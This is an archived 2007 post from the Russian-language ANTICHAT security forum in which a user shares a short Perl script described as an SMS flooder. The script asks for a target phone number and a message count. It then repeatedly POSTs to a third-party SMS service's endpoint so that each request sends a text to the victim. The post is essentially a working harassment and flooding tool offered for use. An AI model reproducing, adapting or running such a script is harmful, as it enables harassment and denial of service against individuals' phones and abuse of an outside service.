Sms flooder by me — ANTICHAT Forum

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

Sms flooder by me

02.03.2007, 20:42

degeneration x

Познающий

Регистрация: 11.10.2005

Сообщений: 97

Провел на форуме:
732018

Репутация: 117

Sms flooder by me

Простенький смс флудер, написан на перле, работать должен на всех операторах.

Код:

#!/usr/bin/perl
###############################################
#SMS Flooder writen by DeGeneration X         #
###############################################
#                                             #
#phone number format:                         #
#[country_code][operator_cod][phone_number]   #
#e.g. 76061234567                             #
#                                             #
###############################################

use IO::Socket;

print "Phone number:";
$phonenumber = <STDIN>;
chomp($phonenumber);
print "How much sms:";
$muchsms = <STDIN>;
chomp($muchsms);

$server = "mobile.textstream.fi";
$path = "http://mobile.textstream.fi/msearch/smsreceive.php";
$data = "numberfrom=%2B"."$phonenumber";
$len = length $data;

for($i=0;$i<$muchsms;$i++)
{
 $get = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "Cannot Connect Host";
 print $get "POST $path HTTP/1.0\n";
 print $get "Host: ".$serv."\n";
 print $get "Content-Type: application/x-www-form-urlencoded\n";
 print $get "Content-Length: ".$len."\n\n";
 print $get "$data\n";
}
 print "Done!";